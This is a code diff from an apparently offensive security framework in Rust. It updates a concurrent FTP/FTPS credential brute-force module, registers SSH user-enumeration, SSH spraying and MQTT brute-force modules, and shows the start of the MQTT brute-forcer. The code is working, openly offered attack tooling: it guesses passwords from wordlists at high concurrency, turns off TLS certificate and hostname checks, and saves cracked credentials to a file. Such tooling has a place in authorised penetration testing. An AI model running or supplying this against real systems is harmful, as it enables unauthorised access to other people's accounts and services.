@@ -75,11 +92,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
@@ -4,17 +4,84 @@ use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream}
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
io::Write,
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
};
|
||||
use std::path::Path;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no,
|
||||
load_lines, get_filename_in_current_dir
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// FTP error classification for better handling
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum FtpErrorType {
|
||||
AuthenticationFailed,
|
||||
TlsRequired,
|
||||
ConnectionLimitExceeded,
|
||||
ConnectionFailed,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl FtpErrorType {
|
||||
/// Classify FTP error based on response message
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
|
||||
// Authentication failed (wrong credentials)
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect") ||
|
||||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
|
||||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
|
||||
return Self::AuthenticationFailed;
|
||||
}
|
||||
|
||||
// TLS required
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
|
||||
msg_lower.contains("ssl connection required") ||
|
||||
msg.contains("220 TLS go first") ||
|
||||
msg_lower.contains("must use tls") {
|
||||
return Self::TlsRequired;
|
||||
}
|
||||
|
||||
// Connection limit exceeded
|
||||
if msg.contains("421") || msg_lower.contains("too many") ||
|
||||
msg_lower.contains("connection limit") {
|
||||
return Self::ConnectionLimitExceeded;
|
||||
}
|
||||
|
||||
// Connection failed
|
||||
if msg_lower.contains("connection refused") ||
|
||||
msg_lower.contains("no route to host") ||
|
||||
msg_lower.contains("network unreachable") ||
|
||||
msg_lower.contains("connection reset") {
|
||||
return Self::ConnectionFailed;
|
||||
}
|
||||
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port for display
|
||||
fn format_addr_for_display(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
@@ -33,19 +100,20 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
let input = prompt_default("FTP Port", "21").await?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let usernames_file = prompt_required("Username wordlist").await?;
|
||||
let passwords_file = prompt_required("Password wordlist").await?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500")?;
|
||||
let input = prompt_default("Max concurrent tasks", "500").await?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
}
|
||||
@@ -55,33 +123,56 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
Some(prompt_default("Output file", "ftp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false).await?;
|
||||
|
||||
let display_addr = format_addr_for_display(target, port);
|
||||
let connect_addr = format_addr_for_display(target, port);
|
||||
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("\n[*] Starting brute-force on {}", display_addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
@@ -91,12 +182,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
for pass in &passes {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -111,19 +206,43 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
display_addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -136,11 +255,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -155,19 +278,43 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
display_addr_clone.clone(),
|
||||
user.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -178,17 +325,26 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
println!(" {} {} -> {}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
@@ -208,13 +364,63 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored FTP responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
let default_name = "ftp_unknown_responses.txt";
|
||||
let prompt_msg = format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
);
|
||||
let fname = prompt_default(&prompt_msg, default_name).await?;
|
||||
let file_path = get_filename_in_current_dir(&fname);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
println!("[+] Unknown responses saved to '{}'", file_path.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"[!] Could not create or write unknown response file '{}': {}",
|
||||
file_path.display(),
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
/// Try login using address string and fallback to FTPS if needed
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
if verbose {
|
||||
println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
}
|
||||
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp.quit().await;
|
||||
@@ -222,46 +428,74 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::AuthenticationFailed => {
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
Ok(Err(e)) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::ConnectionFailed => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
|
||||
}
|
||||
return Err(anyhow!("FTP connection failed: {}", msg));
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
return Err(anyhow!("FTP connection timeout"));
|
||||
}
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
// FTPS fallback: connect and upgrade to TLS
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
|
||||
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
|
||||
.await
|
||||
.map_err(|_| {
|
||||
if verbose {
|
||||
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
anyhow!("FTPS connection timeout")
|
||||
})?
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
@@ -269,17 +503,19 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
// Build a connector that accepts invalid certs/hostnames (as original code did)
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = addr
|
||||
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(addr);
|
||||
.unwrap_or(target);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
@@ -298,84 +534,15 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
|
||||
.unwrap_or_else(|| PathBuf::from(input))
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -4,6 +4,8 @@
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod ssh_spray;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
@@ -12,3 +14,4 @@
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod mqtt_bruteforce;
|
||||
|
||||
@@ -0,0 +1,322 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_wordlist, prompt_int_range, prompt_default,
|
||||
load_lines, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const MQTT_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const MQTT_READ_TIMEOUT_MS: u64 = 2000;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct MqttBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
client_id: String,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
let port = prompt_int_range("MQTT Port", 1883, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file").await?;
|
||||
let threads = prompt_int_range("Max threads", 8, 1, 1000).await? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let client_id = prompt_default("MQTT Client ID", "rustsploit_client").await?;
|
||||
|
||||
let config = MqttBruteforceConfig {
|
||||
target: normalize_target(&target.to_string())?,
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
client_id,
|
||||
};
|
||||
run_mqtt_bruteforce(config).await
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ MQTT Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Tests MQTT broker authentication ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
async fn run_mqtt_bruteforce(config: MqttBruteforceConfig) -> Result<()> {
|
||||
let normalized = normalize_target(&config.target)?;
|
||||
let addr = if (normalized.starts_with('[') && normalized.ends_with(']')) || (!normalized.contains(':')) {
|
||||
format!("{}:{}", normalized, config.port)
|
||||
} else {
|
||||
normalized
|
||||
};
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len() // Assuming same length or cycling
|
||||
};
|
||||
// If not full combo, we define total as max(usernames, passwords) * cycles?
|
||||
// The original code was:
|
||||
// else if usernames.len() == 1 { passwords.len() }
|
||||
// else if passwords.len() == 1 { usernames.len() }
|
||||
// else { passwords.len() } -> implicit assumption of lockstep or cycling passwords against single user
|
||||
// We will stick to the previous logic's rough count or just say "many".
|
||||
|
||||
println!("{}", format!("[*] Approximate attempts: {}", total_attempts).cyan());
|
||||
println!();
|
